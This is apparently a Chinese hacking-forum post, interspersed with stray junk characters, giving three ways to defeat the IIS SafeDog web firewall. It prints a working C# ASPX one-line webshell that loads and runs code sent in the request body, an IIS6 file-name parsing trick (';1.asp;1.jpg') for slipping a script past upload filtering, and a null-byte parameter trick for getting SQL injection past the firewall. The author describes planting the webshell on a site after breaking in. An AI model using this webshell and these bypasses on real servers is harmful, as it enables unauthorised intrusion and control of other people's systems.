1、绕过IIS安全狗的一句话。
+ `9 N9 \9 o( U0 |' Z前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。" D; f' L" m( b$ o& a$ `& Z& }
<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
: O- |( w; e; W. O$ A
4 W" a& _7 i7 q$ P$ E1 I2、IIS6.0解析漏洞遇到安全狗。+ U( I+ e1 Y+ p3 Y4 m5 @/ d
文件名为
$ }8 N) g$ l3 c3 Q, R9 N% Hhttp://www.xxxxx.com/sh3llc0de.asp;1.jpg
& O0 a0 [$ n+ j/ m+ |: r) ?9 D& F! I( g) i3 n8 {( V, n; _
这样的会被IIS安全狗果断屏蔽。3 p: R8 \ M; G$ w) ~
改成如下名称,IIS6一样会解析:! z" ?- Z: i) Z# @" U& A# U# j0 r
www.xxxxx.com/;1.asp;1.jpg
# w# a w9 ]. e$ A Z5 ^, I |) Z5 G/ Q' I% p/ Q8 y
3、安全狗的注入绕过。 }: ^' Z* v0 z
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。/ ]2 O: r" U; Q5 S
但如果:+ @" m9 R! G$ H2 S) K0 U" ~
r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1
! }4 {) _6 N% o" \* w+ k就可以成功绕过了。
+ \6 d* _; h0 |% p' B# C& Q* G( z; P0 C4 n. J' x s6 V7 h& t
2 q" G* D/ U6 x7 S |